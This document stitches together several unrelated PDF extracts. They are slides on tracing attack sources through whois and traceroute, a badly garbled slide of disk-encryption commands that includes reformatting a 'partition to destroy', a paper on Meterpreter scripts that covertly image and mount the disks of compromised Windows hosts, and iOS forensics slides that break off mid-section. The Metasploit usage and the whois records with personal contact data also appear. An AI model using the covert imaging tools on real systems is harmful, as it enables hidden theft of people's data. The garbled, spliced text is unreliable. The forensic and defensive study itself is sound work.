proposal for managing the .us TLD
Intermediate Backtrace
Mailbox validation
You can use nslookup to get the mail server for a domain, and
then manually you can VRFY addresses at the domain. If
verification is turned off, you may want to check
http://whois.abuse.net
Intermediate Backtrace
Advanced Backtrace
Web Search
If a whois query doesn‟t give you the appropriate domain, try a
Google search on organization name adding *parts* of the
address info
Advanced Backtrace
Double Netblocks?
Advanced Backtrace
Search results for: 205.235.9.204
I-Wave Corp. (NETBLK-NET-IWAVE-HUB) NET-IWAVE-HUB
205.235.0.0 - 205.235.15.255
Cyberholdings Incorporated (NETBLK-CYBERHOLDINGS) CYBERHOLDINGS
205.235.0.0 - 205.235.15.255
Advanced Backtrace
I-Wave Corp. (NETBLK-NET-IWAVE-HUB)
800 Towers Crescent Dr, ste 1350
Vienna, VA 22182
US
Netname: NET-IWAVE-HUB
Netblock: 205.235.0.0 - 205.235.15.255
Maintainer: WAVE
Coordinator:
Rosenbaum, Alex (AR143-ARIN) [email protected]
(240) 462-8655
Domain System inverse mapping provided by:
DNS1.HOY.NET205.235.2.130
NS2.CW.NET204.70.57.242
Record last updated on 10-Oct-1997.
Database last updated on 21-Mar-2002 19:58:27 EDT.
Double Netblocks? contd…
Double Netblocks? contd…
Advanced Backtrace
Double Netblocks? contd…
Advanced Backtrace
Rwhois
“RWhois (Referral Whois) extends and
enhances the Whois concept in a hierarchical
and scaleable fashion. In accordance with this,
RWhois focuses primarily on the distribution of
"network objects", or the data representing
Internet resources or people, and uses the
inherently hierarchical nature of these network
objects (domain names, Internet Protocol (IP)
networks, email addresses) to more accurately
discover the requested information.”
RFC2167 - Referral Whois (RWhois) Protocol V1.5
Advanced Backtrace
Advanced Backtrace
Rwhois Example
Advanced Backtrace
Rwhois Example contd…
Registrant:
David Oles (PMIMAGING2-DOM)
631 Mill Street
San Marcos, TX 78666
US
Domain Name: PMIMAGING.COM
Administrative Contact, Technical Contact:
Melancon, Mark (ILLYVXOEGO)[email protected]
Pixel Magic Imagin/IT Manager
631 Mill Street
San Marcos , TX 78666
US
512 396 7251
Fax- 512 396 8767
Routing Registry
(RR Records)
Internet routing registries, as described in the Routing
Policy Specification Language, RPSL (RFC2280)
document, provides a view of the global routing policy
to improve the integrity of the Internet's routing.
Advanced Backtrace
Success with RR
Click Network/Local Access (NETBLK-GBX-REQ000000014080)
1111 Altheimer Street South
Tacoma, WA 98402
US
Netname: GBX-REQ000000014080
Netblock: 208.51.248.0 - 208.51.251.255
Coordinator:
Global Crossing (IA12-ORG-ARIN) [email protected]
+1 800 404-7714
Record last updated on 29-Nov-2001.
Database last updated on 28-Apr-2002 19:58:33 EDT.
The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
Advanced Backtrace
% ARIN Internet Routing Registry Whois Interface
route: 208.51.251.0/24
descr: Customer Local Access
origin: AS20394
notify: [email protected]
mnt-by: MAINT-AS14677
changed: [email protected] 20020110
source: RADB
route: 208.48.0.0/14
descr: GBLX-US-AGGREGATE
origin: AS3549
mnt-by: GBLX-RIPE-MNT
changed: [email protected] 19991229
source: RIPE
Success with RR contd…
Advanced Backtrace
Extreme Backtrace
Mail Banner?
Telnet to port 25 and see if the IP address runs a mailserver and
has possibly published a useful banner. Other well known ports
may be tried as well (POP, FTP, etc.)
Extreme Backtrace
Contact information
gleaned from SSL Cert.
Extreme Backtrace
Gone too far?
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html
inetnum: 62.36.225.184 - 62.36.225.187
netname: EMSERTEX
descr: Red de EMSERTEX
descr: Spain
country: ES
admin-c: EDMO-RIPE
tech-c: REPR-RIPE
status: ASSIGNED PA
mnt-by: UNI2-MNT
changed: [email protected] 20020419
source: RIPE
route: 62.36.0.0/16
descr: Uni2 PA Block 1
origin: AS12479
mnt-by: UNI2-MNT
changed: [email protected] 19990806
Extreme Backtrace
ftp> open 62.36.225.185
Connected to 62.36.225.185.
220 m3hdesmertex FTP server (Version wu-2.6.0(1)
Mon Feb 28 10:30:36 EST 2000) ready.
User (62.36.225.185:(none)):
Gone too far? contd…
Extreme Backtrace
Gone too far? contd…
Extreme Backtrace
Gone too far? contd…
Registrant:
Acosta Gestion S.L.
C/Severo Ochoa
Madrid, Madrid 28230
ES
Domain Name: PORTALADULTOS.COM
Administrative Contact, Technical Contact, Zone Contact:
Acosta Gestion S.L.
Esteban Acosta
Calle Dr. Madrid 1
Madrid, Madrid 28220
ES
011916340101
[email protected]
Domain created on 21-May-2001
Domain expires on 21-May-2003
Last updated on 29-Apr-2002
Domain servers in listed order:
DNS.COMTENIDOS.COM 62.37.225.56
DNS2.COMTENIDOS.COM 62.37.225.57
Extreme Backtrace
Still no answer?
Identify responsible AS
Lookup IP in BGP route tables to identify which
Autonomous System is responsible for the route. Then,
identify the responsible domain by doing recursive
Whois AS lookups.
Still no answer?
The Quality of AS data
Advanced Backtrace
The Quality of AS data contd…
Advanced Backtrace
Advanced Backtrace
The Quality of AS data contd…
Netbios enabled?
See if IP has Netbios enabled and can receive a
Winpopup message
Example (From DOS)
C:\> nbtstat -A 24.24.24.24
If you get a response, then:
C:\> net send 24.24.24.24 "FYI, You've been
hacked, .... instructions ..."
Still no answer?
Netbios Backtrace
D:\gdtest>nbtstat -A 208.254.151.185
Local Area Connection:
Node IpAddress: [172.16.1.169] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
HLM <00> UNIQUE Registered
ADDUCCI_DORF <00> GROUP Registered
HLM <03> UNIQUE Registered
HLM <20> UNIQUE Registered
ADDUCCI_DORF <1E> GROUP Registered
MAC Address = 00-50-8B-6A-32-63
Still no answer?
Netbios Backtrace Contd…
D:\>tracert 208.254.151.185
Tracing route to HLM [208.254.151.185]
over a maximum of 30 hops:
1 10 ms <10 ms <10 ms host121.mynetwatchman.com [64.238.113.121]
2 <10 ms <10 ms 10 ms 172.16.41.165
3 <10 ms 10 ms <10 ms car00-s6-0-1.atlagabu.cbeyond.net [192.168.14.17]
4 <10 ms 10 ms <10 ms bgr00-g2-0.atlagabu.cbeyond.net [192.168.18.49]
5 <10 ms 10 ms 10 ms s1-0-0.ar1.ATL1.gblx.net [64.211.166.201]
6 <10 ms 10 ms 10 ms pos2-0-155M.cr1.ATL1.gblx.net [206.132.115.113]
7 <10 ms 10 ms 10 ms pos0-0-0-155M.br1.ATL1.gblx.net [206.132.115.118]
8 <10 ms 10 ms 10 ms 57.ATM2-0.BR1.ATL5.ALTER.NET [204.255.168.137]
9 <10 ms 10 ms 10 ms 0.so-2-3-0.XL2.ATL5.ALTER.NET [152.63.82.194]
10 <10 ms 10 ms 10 ms 0.so-1-2-0.TL2.ATL5.ALTER.NET [152.63.146.2]
11 40 ms 31 ms 40 ms 0.so-6-0-2.TL2.CHI4.ALTER.NET [152.63.13.45]
12 40 ms 40 ms 40 ms 0.so-0-0-0.XL2.CHI4.ALTER.NET [152.63.13.33]
13 30 ms 40 ms 40 ms 0.so-4-0-0.XR2.CHI4.ALTER.NET [152.63.2.58]
14 40 ms 40 ms 40 ms 194.ATM7-0.GW4.CHI1.ALTER.NET [152.63.68.229]
15 50 ms 40 ms 50 ms HLM [208.254.151.185]
Trace complete.
Still no answer?
Netbios Backtrace Contd…
Still no answer?
Netbios Backtrace Contd…
Still no answer?
Netbios Backtrce Contd…
Still no answer?
Registrant:
Adducci,Dorf,Lehner,Mitchell & Blankenship (ADLMB-DOM)
150 N. Michigan Ave, Suite 2130
Chicago, IL 60601
US
Domain Name: ADLMB.COM
Administrative Contact:
Blankenship, Martin (MBM810)[email protected]
Adducci,Dorf,Lehner,Mitchell & Blankenship
150 N. Michigan Ave, Suite 2130
Chicago , IL 60601
312.781.2800 (FAX) 312.781.7811
Technical Contact:
eLink Support (ES786-ORG)[email protected]
eLink Communications
6708 Wisconsin Avenue
Bethesda, MD 20815
US
240-744-1300
Fax- 240-744-1320
Record expires on 11-Dec-2002.
Record created on 11-Dec-2000.
Database last updated on 10-Jul-2002 21:21:15 EDT
If all else fails…
Punt!
Move 1 hop upstream as indicated
by a traceroute and then repeat the
whole backtracing process until you
find a provider.
Get as close as possible
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html
inetnum: 62.220.108.0 - 62.220.111.255
netname: Intercompro
descr: Intercompro Communication Provider
country: IR
admin-c: HS400-RIPE
tech-c: HE81-RIPE
status: ASSIGNED PA
notify: [email protected]
mnt-by: TKT-MNT
mnt-lower: TKT-MNT
mnt-routes: TKT-MNT
changed: [email protected] 20011206
source: RIPE
route: 62.220.96.0/19
descr: Takta-Net
origin: AS21341
mnt-by: TKT-MNT
changed: [email protected] 20020107
…
C:\nslookup
> set type=mx
> intercompro.net
*** No mail exchange (MX) records available for intercompro.net
> set type=a
> intercompro.net
*** No address (A) records available for intercompro.net
>
Get as close as possible contd…
Tracing route to 62.220.111.241 over a maximum of 30 hops
1 <10 ms <10 ms 10 ms host121.mynetwatchman.com [64.238.113.121]
2 <10 ms <10 ms 10 ms 172.16.41.165
3 <10 ms 10 ms <10 ms car00-s6-0-1.atlagabu.cbeyond.net [192.168.14.17]
4 <10 ms 10 ms <10 ms bgr00-g2-0.atlagabu.cbeyond.net [192.168.18.49]
5 <10 ms 10 ms <10 ms s1-0-0.ar1.ATL1.gblx.net [64.211.166.201]
6 <10 ms 10 ms 10 ms pos2-0-155M.cr2.ATL1.gblx.net [206.132.115.121]
7 30 ms 30 ms 20 ms pos1-0-622M.cr2.NYC2.gblx.net [206.132.249.170]
8 20 ms 30 ms 20 ms pos1-0-2488M.br2.NYC2.gblx.net [208.48.234.214]
9 20 ms 30 ms 20 ms ftna.br2.NYC2.gblx.net [208.51.134.22]
10 20 ms 30 ms 20 ms P10-0.NYKCR3.NY.opentransit.net [193.251.241.245]
11 20 ms 30 ms 20 ms P11-0.NYKCR2.NY.opentransit.net [193.251.241.217]
12 100 ms 101 ms 100 ms P4-0.PASCR1.Pstrl.opentransit.net [193.251.241.133]
13 100 ms 100 ms 110 ms P3-0.PASCR3.Pstrl.opentransit.net [193.251.241.126]
14 100 ms 100 ms 110 ms P9-0.PASBB1.Pstrl.opentransit.net [193.251.241.161]
15 101 ms 100 ms 110 ms P8-0-0.PASAR1.Pstrl.opentransit.net [193.251.128.70]
16 100 ms 100 ms 101 ms GlobeCastSerte.GW.opentransit.net [193.251.248.122]
17 100 ms 100 ms 100 ms 10.30.0.14
18 621 ms 631 ms 621 ms 62.220.96.125
19 631 ms 631 ms 621 ms 62.220.96.2
20 631 ms 620 ms 631 ms 62.220.100.7
21 621 ms 621 ms 621 ms 62.220.101.131
22 621 ms 631 ms 621 ms 62.220.111.241
Trace complete.
Get as close as possible contd…
% This is the RIPE Whois server.
% The objects are in RPSL format.
% Please visit http://www.ripe.net/rpsl for more information.
% Rights restricted by copyright.
% See http://www.ripe.net/ripencc/pub-services/db/copyright.html
inetnum: 62.220.96.0 - 62.220.107.255
netname: TAKTA-NET
descr: Takta Co. Access Service Provider
country: IR
admin-c: TR47-RIPE
tech-c: TR47-RIPE
status: ASSIGNED PA
mnt-by: TKT-MNT
mnt-lower: TKT-MNT
mnt-routes: TKT-MNT
changed: [email protected] 20011025
source: RIPE
route: 62.220.96.0/19
descr: Takta-Net
origin: AS21341
mnt-by: TKT-MNT
changed: [email protected] 20020107
source: RIPE
Get as close as possible contd…
Conclusion
Are the calls coming
from inside the house?
Unless you do Backtracing, you will never know the true
source of an attack... or whether a packet was spoofed?
However, even backtracing can't solve incorrect, non-
existent, or just plain stale data present in some of the
databases.
Conclusion
You do read your logs, right?
If not, consider having a service do it for you
automatically, or use your own open-source
tools to do it.
• http://www.mynetwatchman.com
• http://www.dshield.org
• Swatch
• Logsentry
Conclusion
References
“Avoiding future denial-of-service attacks” by Denise Pappalardo.
Posted on CNN.com February 23, 2000
http://www.cnn.com/2000/TECH/computing/02/23/isp.block.idg/index.html
Gan.ru. The Nuclear Regulatory Agency in Russia.
http://www.gan.ru
http://www.mynetwatchman.com/LID.asp?IID=4875813
RFC 1812
http://www.faqs.org/rfcs/rfc1812.html
RFC 1918
http://www.faqs.org/rfcs/rfc1918.html
Solution to the Korean Spam Problem Example
http://www.merit.edu/mail.archives/nanog/2002-04/msg00029.html
http://www.merit.edu/mail.archives/nanog/2002-04/msg00044.html
“A Weakness in the 4.2BSD Unix† TCP/IP Software” by Robert T. Morris
http://www.pdos.lcs.mit.edu/rtm/papers/117.pdf
“NMAP: Decoy Analysis” by Max Vision
http://www.whitehats.com/library/nmap/index.html
Default TTL values.
http://www.switch.ch/docs/ttl_default.html.
http://216.239.35.100/search?q=cache:ybcsLpJuwS0C:www.switch.ch/docs/ttl_default.html+NT+Default+TTL&hl=en&ie=UTF-8
References - Page 1
Traceroute Hop Count Difficulties Example
http://www.merit.edu/mail.archives/nanog/2000-12/msg00143.html
Looking Glass Sites
http://lg.above.net/
http://nitrous.digex.net/cgi-bin/looking_glass.pl
Spoofed IP Example
http://www.mynetwatchman.com/LID.asp?IID=5415491
Nslookup Example
http://www.mynetwatchman.com/LID.asp?IID=5942546
Nice contact info here… Example
http://www.mynetwatchman.com/LID.asp?IID=5412503
Regional NICs
http://www.arin.net
http://www.apnic.net
http://www.ripe.net
Geektools whois proxy.
http://www.geektools.com
Operational ICANN Accredited Domain Registrars
http://www.internic.net/alpha.html
References - Page 2
“NeuStar Response to SB1335- 01-Q- 0740”
http://www.ntia.doc.gov/ntiahome/domainname/usca/cafiles/SectionE.pdf
Abuse Net
http://www.abuse.net
Rwhois
http://www.rwhois.net/
Success with RR Example
http://www.mynetwatchman.com/LID.asp?IID=4171992
Gone Too Far? Example
http://www.mynetwatchman.com/LID.asp?IID=4162328
Netbios Backtrace Example
http://www.mynetwatchman.com/LID.asp?IID=6024235
Distributed IDSs
http://www.myNetWatchman.com
http://www.dshield.org
References - Page 3
Appendix A:
ISP Anti-spoof
Techniques
Ingress Filtering
“If an ISP is aggregating routing
announcements for multiple downstream
networks, strict traffic filtering should be
used to prohibit traffic which claims to have
originated from outside of these aggregated
announcements.”
RFC2267 - Network Ingress Filtering: Defeating Denial of Service
Attacks which employ IP Source Address Spoofing
ISP Anti-Spoof Techniques
Input Debugging
Input Debugging allows an operator to filter particular
packets on some egress port and determine which
ingress port they arrived on. This reveals which
upstream router originated the traffic.
The process is repeated recursively until the the ISP‟s
border is reached. From there, the upstream ISP must
be contacted to continue the trace.
ISP Anti-Spoof Techniques
Backscatter
ISP Anti-Spoof Techniques
Backscatter Technique - “BGP implementations on
Cisco and Juniper routers (possibly others) allow you to
arbitrarily set the 'next-hop' to any IP address. This quirk
can be used to your benefit when tracking spoofed traffic.
By setting particular prefixes to a known and specially
handled 'next-hop', we can get some unique traffic
tracking information off the network.” | pdf |
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I cd
cd /home/
/home/tjmunn
tjmunn/.loop
/.loop
I
I insmod
insmod -f loop.o
-f loop.o
I
I mount /
mount /dev
dev/sda3 /.keys
/sda3 /.keys
I
I #created
#created symlink
symlink from .
from .gnupg
gnupg in root's
in root's
directory to external disk link
directory to external disk link
I
I cd
cd /root/.
/root/.gnupg
gnupg
I
I gpg
gpg --decrypt <
--decrypt < keyfile
keyfile..asc
asc | mount -p
| mount -p
0 -t ext3 /
0 -t ext3 /dev
dev/sda2 /home -o
/sda2 /home -o
loop=/
loop=/dev
dev/loop0,encryption=AES192
/loop0,encryption=AES192
I
I This is covered in the
This is covered in the readme
readme!!!
!!!
I
I head -c 45 /
head -c 45 /dev
dev/random | uuencode -m -
/random | uuencode -m -
| head -2 | tail -1 |
| head -2 | tail -1 | gpg
gpg -e -a -r
-e -a -r
”Email/
”Email/userid
userid of key!" >
of key!" > keyfile
keyfile..asc
asc
I
I gpg
gpg --decrypt <
--decrypt < keyfile
keyfile..asc
asc||losetup
losetup -p
-p
0 -e AES192 /
0 -e AES192 /dev
dev/loop3 /
/loop3 /dev
dev/sda3
/sda3
(partition to destroy!)
(partition to destroy!)
I
I mkfs
mkfs -t -j ext2 /
-t -j ext2 /dev
dev/loop3
/loop3
I
I losetup
losetup -d /
-d /dev
dev/loop3
/loop3 | pdf |
Covert Post-Exploitation Forensics With Metasploit
Tools and Examples
R. Wesley McGrew
[email protected] http://mcgrewsecurity.com
Mississippi State University
National Forensics Training Center
http://msu-nftc.org
Introduction
In digital forensics, most examinations take place after the hardware has been physically seized
(in most law enforcement scenarios) or a preinstalled agent allows access (in the case of
enterprise forensics packages). There are existing tools that allow for forensic examination of
storage media, that allow for the recovery of data from (but not limited to) deleted files,
unallocated space, and the slack space between the ends of files and the next sector/cluster
boundaries.
The above scenarios imply that the “subject” (the one in possession of the media) is aware of the
fact that their data has been seized or subject to remote access. There are situations where this
may not be desirable for an examiner:
• Penetration testing
• Evidence seizure when physical location is unknown
• Surreptitious monitoring
While existing tools (such as those in the Metasploit framework) allow “attackers” to navigate
and selectively download portions of the target’s filesystem without the subject’s knowledge, this
does not compare to the feature set of a true file-system forensic examination. It would be a boon
for a penetration tester to have the ability to find data that had previously been deleted by the
subject for “compliance”. It would be useful for intelligence gathering to be able to data carve
for old versions of documents or emails.
In this paper, and the accompanying talk, three new Meterpreter scripts will be introduced that
will allow for existing digital forensic tools to be used in a more cover context. These tools
allow for remote imaging of subject filesystems and disks, as well as mapping remote
filesystems to local block devices. Examples are given on how to use these tools to combine the
capabilities of the Metasploit framework to those of modern digital forensic tools.
Tools
The tools developed for covert post-exploitation forensics are ruby scripts meant to be run from
the shell in Metasploit’s Meterpreter payload. They make extensive use of Patrick HVE’s
meterpreter extension, Railgun, to make Windows API calls on the remote host. Imager.rb
provides a “dd” like interface for creating local byte-for-byte images of remote physical drives
and logical filesystems. NBDServer.rb allows the attacker to map a remote drive to a Network
Block Device which can be mounted read-only or analyzed directly locally to the attacker.
Listdevices.rb is a support script that enumerates remote physical devices and logical
filesystems.
listdevices.rb
Purpose
Enumerates the compromised host’s \\.\PhysicalDriveX filenames for physical storage devices,
as well as drive letters for logical filesystem volumes. The resulting names can be used in
imager.rb or nbdserver.rb arguments.
Usage
meterpreter > run listdrives.rb -h
USAGE: run listdrives
OPTIONS:
-h Help menu.
-m <opt> Maximum physical drive number (Default: 10)
There is a delay associated with each Windows API call over Railgun, so in the interests of time,
listdrives.rb only iterates through the first ten possible physical drive numbers. If you have
reason to believe your target has more (a previous run showed all ten active, maybe), feel free to
specify a higher maximum
Sample output
meterpreter > run listdrives.rb
Device Name: Type: Size (bytes):
------------ ----- -------------
<Physical Drives:>
\\.\PhysicalDrive0 Fixed 21474836480
\\.\PhysicalDrive1 Fixed 42949672960
\\.\PhysicalDrive2 Removable 1998585344
<Logical Drives:>
\\.\A: 78
\\.\C: Fixed 42949672960
\\.\D: 78
\\.\E: Removable 1998585344
imager.rb
Purpose
Imager.rb allows for making byte-for-byte copies of physical volumes and logical drives on the
target system over the network to image files on the attacker’s computer. It provides a set of
options that will seem familiar to those experienced with imaging drives locally, such as split
image files and MD5/SHA1 hashing.
Usage
meterpreter > run imager -h
USAGE: run imager -d devicename
OPTIONS:
-b <opt> Block size in bytes (multiple of 512) (Default: 1048576)
-c <opt> Skip <opt> blocks (Default: 0)
-d <opt> Device to image ("run listdrives" for possible names)
-h Help menu.
-n <opt> Read only <opt> blocks (Default: 0 (read till end))
-o <opt> Output filename without extension (Default: image)
-s <opt> Split image every <opt> bytes (Default: 1610612736) (Don't split: 0)
Those familiar with imaging drives with dd will notice that the default block size is considerably
higher than is typical for imaging drives locally. Making API calls through Railgun incurs some
delay, on top of the expected speed issues caused network bandwidth and latency. Setting a high
block size makes for less frequent API calls, improving the speed.
Imaging may take a very long time. If the session dies for any reason, the -c skip option can be
used to skip over the portion of the target that has already been imaged. In the current version,
this process is not automated, but it is a relatively simple matter to determine how large the
existing image is, determine how many blocks to skip, and stitch the old and new images back
together with dd.
Split image files created with this tool are supported by most forensics software (The Sleuth Kit
and FTK Imager, for example).
Sample Output
meterpreter > run imager -d //./PhysicalDrive2
Started imaging //./PhysicalDrive2 to image.001
...continuing with image.002
Finished!
MD5 : 0009544b13fba447ee1d5150d2339378
SHA1 : a669ab2e1cec053ace2a94c4f9b94140621720a5
nbdserver.rb
Purpose
NBDserver.rb allows for mapping a remote physical drive or logical volume to a local block
device on Linux systems (or other systems that support the Network Block Device protocol). It
starts a TCP server up on the specified port and listens for connections from nbd-client. Reads
from a /dev/nbdX block device are fulfilled by reading the data over the network from the
compromised system.
To the attacker, what this means is that any forensic technique or software designed to be used on
a disk image or block device can be executed on the attacker’s system, targeting the remote
system. The target filesystem can even be mounted read-only on the attacker’s system if that is
desired. This provides for huge speed increases over imaging the remote device in cases where
forensic software can calculate where on the disk the desired evidence is likely to be (recovering
recently deleted files, for example).
Usage
meterpreter > run nbdserver -h
USAGE: run listdrives
OPTIONS:
-d <opt> Device to map ("run listdrives" for possible names)
-h Help menu.
-i <opt> IP Address for NBD server (Default: 0.0.0.0)
-p <opt> TCP Port for NBD server (Default: 10005)
Once NBDserver is running, a Linux system can easily map the device using nbd-client with
the following command:
nbd-client localhost 10005 /dev/nbd0
Examples
Imaging a Remote Disk
Recovering Deleted Files
Mounting a Disk Remotely
Caveats
Remote forensics has the potential to be time consuming and bandwidth intensive, depending on
environment and techniques used.
Occasionally, API calls to determine the size of devices or volumes fail and report ridiculously
large or small values. If this occurs, re-run listdrives.rb to see if it will begin reporting sizes
correctly again. Rarely, if this does not work, a new meterpreter session may be needed to get it
to behave again.
Conclusions
The ability to perform file system forensic analysis on remote compromised systems opens up
new possibilities for penetration testers to find useful information on target systems. Experience
forensic examiners know that a wealth of information is available in recoverable deleted files and
data-carved media, and this set of tools opens that potential up to a wider audience of
information security professionals.
The ease at which this can be done by malicious attackers also illustrates the need to securely
wipe sensitive data as it is being deleted. Previously, it may have been assumed that attackers
would not have the tools or inclination to sift through unallocated space for valuable data, but
this set of tools, paper, and talk shows that it is not that difficult.
Acknowledgements
Thanks to “Patrick HVE” for the Railgun extension on Meterpreter. Implementing these tools
would have been much more complex without it.
Massive thanks to Brian Carrier for providing such a great set of file system forensic tools in The
Sleuth Kit that it just begged to be integrated into Metasploit somehow.
Code for enumerating logical drive letters was adapted from Rob Fuller (Mubix). His post on
Railgun is at http://room362.com/blog/2010/7/7/intro-to-railgun-win-api-for-meterpreter.html
and should be a first-stop for anyone else wanting to play with Railgun.
Thanks to Kragen Sitaker for posting a Python implementation of NBD that I (being more
familiar with Python than Ruby) used as a reference when writing nbdserver.py (http://
lists.canonical.org/pipermail/kragen-hacks/2004-May/000397.html) | pdf |
Evolution of iOS Data Protection and
iPhone Forensics:
from iPhone OS to iOS 5
Andrey Belenko & Dmitry Sklyarov
Elcomsoft Co. Ltd.
1
Agenda
• Basics
• iOS Security before iOS 4
• iOS 4 Data Protection
• iOS 5 Data Protection Changes
• Summary
2
Forensics 101
Acquisition ➜ Analysis ➜ Reporting
GOALS:
1.
Assuming
physical
access
to
the
device
extract
as
much
informa>on
as
prac>cal
2.
Leave
as
li@le
traces/ar>facts
as
prac>cal
3
iOS: Why Even Bother?
• More than 5 years on the market
• 360+ million iOS devices sold worldwide
• 6 iPhones, 4 iPods, 3 iPads
• “Smart devices” – they do carry a lot of sensitive data
• Corporate deployments are increasing
There was, is, and will be a real need in iPhone
Forensics
4
iPhone Forensics 101
• Passcode
–Prevents unauthorized access to the device
–Bypassing passcode is usually enough
• Keychain
–System-wide storage for sensitive data
–Encrypted
• Storage encryption
5
iPhone Forensics 101
• Logical: iPhone Backup
–Ask device to produce a backup
–Device must be unlocked
–Device may produce encrypted backup
–Limited amount of information
–Get backup from iCloud
• Physical: filesystem acquisition
–Boot-time exploit to run unsigned code
–Device lock state isn’t relevant
–Can get all information from the device
• Physical+: flash memory acquisition
–Same requirements as for physical
–Also allows recovery of deleted files!
6
The Inception
Runs iPhone OS (up to 3.1.3)
•Based on Mac OS X
Has a crypto co-processor
06/29/2007
iPhone
7
Hardware Keys
Two embedded AES keys:
• GID – shared by all devices of
same family
• UID – unique for each and every
device
No known ways to extract
GID/UID keys
06/29/2007
iPhone
8
Device Keys
•To avoid unnecessary exposure, usage of UID/
GID keys is limited
•Device keys are computed from hardware keys
during boot:
– 0x835 = AES_Enc (UID, 01010101010101010101010101010101);
– 0x836 = AES_Enc (UID, 00E5A0E6526FAE66C5C1C6D4F16D6180);
– 0x837 = AES_Enc (GID, 345A2D6C5050D058780DA431F0710E15);
– 0x838 = AES_Enc (UID, 8C8318A27D7F030717D2B8FC5514F8E1);
9
iPhone OS Security
Relies on chain of trust:
• BootROM loads trusted iBoot
• iBoot loads trusted kernel
• Kernel runs trusted apps
Apps must be signed
• Developers can sign and run their apps on their devices
($99/yr)
Applications are sandboxed
10
Breaking Free
• Jailbreak – circumventing iOS
security in order to run
custom code
• Boot-level or application-level
• Tethered or untethered
11
Breaking Free
• App-level JB gets kernel code execution by
exploiting apps or services
–e.g. Absinthe, JailbreakMe
–Can be fixed by new firmware
• Boot-level JB loads custom kernel by breaking chain
of trust
–e.g. limera1n
–Can’t be fixed if exploits vulnerability in BootROM
12
Jailbreak+Forensics=?
• Tethered JB
–Host connection is required to boot into JB state
–Exploit(s) are sent by the host
–May leave minimal traces on the device
• Untethered JB
–Device is modified so that it can boot in jailbroken state
by itself
–Leaves permanent traces
13
Passcode (Before iOS 4)
• Lockscreen (i.e. UI) is the only protection
• Passcode is stored in the keychain
–Passcode itself, not its hash
• Can be recovered or removed instantly
–Remove record from the keychain
–And/or remove setting telling UI to ask for the
passcode
14
Keychain (Before iOS 4)
• SQLite3 DB, only passwords are encrypted
• All items are encrypted with the device key
(0x835) and random IV
• Key can be extracted (computed) for offline use
• All past and future keychain items from the device
can be decrypted using that key
IV
Data
0
16
SHA-‐1
(Data)
Encrypted
with
Key
0x835
15
Storage Encryption (Before iOS 4)
• No encryption.
16
iPhone 3G
Hardware is very similar to
original iPhone
No real security improvements
over previous model
06/29/2007
iPhone
07/11/2008
iPhone
3G
17
iPhone 3GS
New application processor
Hardware storage encryption
06/29/2007
iPhone
07/11/2008
iPhone
3G
06/19/2009
iPhone
3GS
18
iPhone 3GS Forensics
•Passcode: same as before
•Keychain: same as before
•Storage encryption:
– Only user partition is encrypted
– Single key for all data (FDE)
– Designed for fast wipe, not confidentiality
– Transparent for applications
– Does not affect physical acquisition
This is true only for iPhone 3GS running
iPhone OS 3.x
19
iPhone 4
No notable enhancements in security
hardware over iPhone 3GS
Shipped with iOS 4 with major
security improvements
06/29/2007
iPhone
07/11/2008
iPhone
3G
06/19/2009
iPhone
3GS
06/24/2010
iPhone
4
20
iOS 4 Data Protection
• More robust passcode protection
• Better storage encryption
– Metadata is encrypted transparently (same as
before)
– Per-file encryption keys
• Better Keychain encryption
• New backup format
– Slower password recovery
– Keychain items can migrate to another device
21
Protection Classes
• Content grouped by accessibility requirements:
–Available only when device is unlocked
–Available after first device unlock (and until power off)
–Always available
• Each protection class has a master key
• Master keys are protected by device key and
passcode
• Protected master keys form system keybag
–New keys created during device restore
22
Effaceable Storage
• Special region of flash memory to store small data
items with ability to quickly erase them
• Items within effaceable storage are called lockers
• As of iOS 4: 960 bytes capacity, 3 lockers:
–‘BAG1’ – System Keybag payload key and IV
–‘Dkey’ – NSProtectionNone class master key
–‘EMF!’ – Filesystem encryption key
23
System Keybag
• /private/var/keybags/systembag.kb
• Three layers of encryption:
–System keybag file is encrypted by Data Protection
–Keybag payload is encrypted before writing to disk
–Master keys are encrypted with device key and/or
passcode key
24
Escrow Keybag
• “Usability feature” to allow iTunes to unlock the
device
• Contains same master keys as system keybag
• Stored on the iTunes side
• Protected by 256 bit random “passcode” stored
on the device
• With iOS 4, escrow keybag gives same powers as
knowing the passcode
25
Backup Keybag
• Included in the iOS backups
• Holds keys to decrypt files and keychain items
included with the backup
• New keys are generated for each backup
26
Unlocking Keybag
Protected Key
WRAP = 1
Keybag (locked)
Device Key
Passcode Key
Protected Key
WRAP = 2
Protected Key
WRAP = 3
Protected Key
WRAP = 1
Protected Key
WRAP = 3
...
Key
Keybag (unlocked)
Key
Key
Key
Key
...
DECRYPT
UNWRAP
UNWRAP
UNWRAP
DECRYPT
DECRYPT
DECRYPT
if (WRAP & 0x2)
if (WRAP & 0x1)
27
iOS 4 Passcode
• Passcode is used to compute passcode key
–Computation tied to hardware key
–Same passcode will yield different passcode keys on
different devices!
• Passcode key is required to unlock most keys
from the system keybag
–Most files are protected with NSProtectionNone and
don’t require a passcode
–Most keychain items are protected
with ...WhenUnlocked or ...AfterFirstUnlock and
require a passcode
28
iOS 4 Passcode
• Passcode-to-Key transformation is slow
• Offline bruteforce currently is not possible
–Requires extracting hardware key
• On-device bruteforce is slow
–2 p/s on iPhone 3G, 7 p/s on iPad
• System keybag contains hint on password
complexity
29
iOS 4 Passcode
• 0 – digits only, length = 4 (simple passcode)
30
iOS 4 Passcode
• 0 – digits only, length = 4 (simple passcode)
• 1 – digits only, length ≠ 4
31
iOS 4 Passcode
• 0 – digits only, length = 4 (simple passcode)
• 1 – digits only, length ≠ 4
• 2 – contains non-digits, any length
32
iOS 4 Passcode
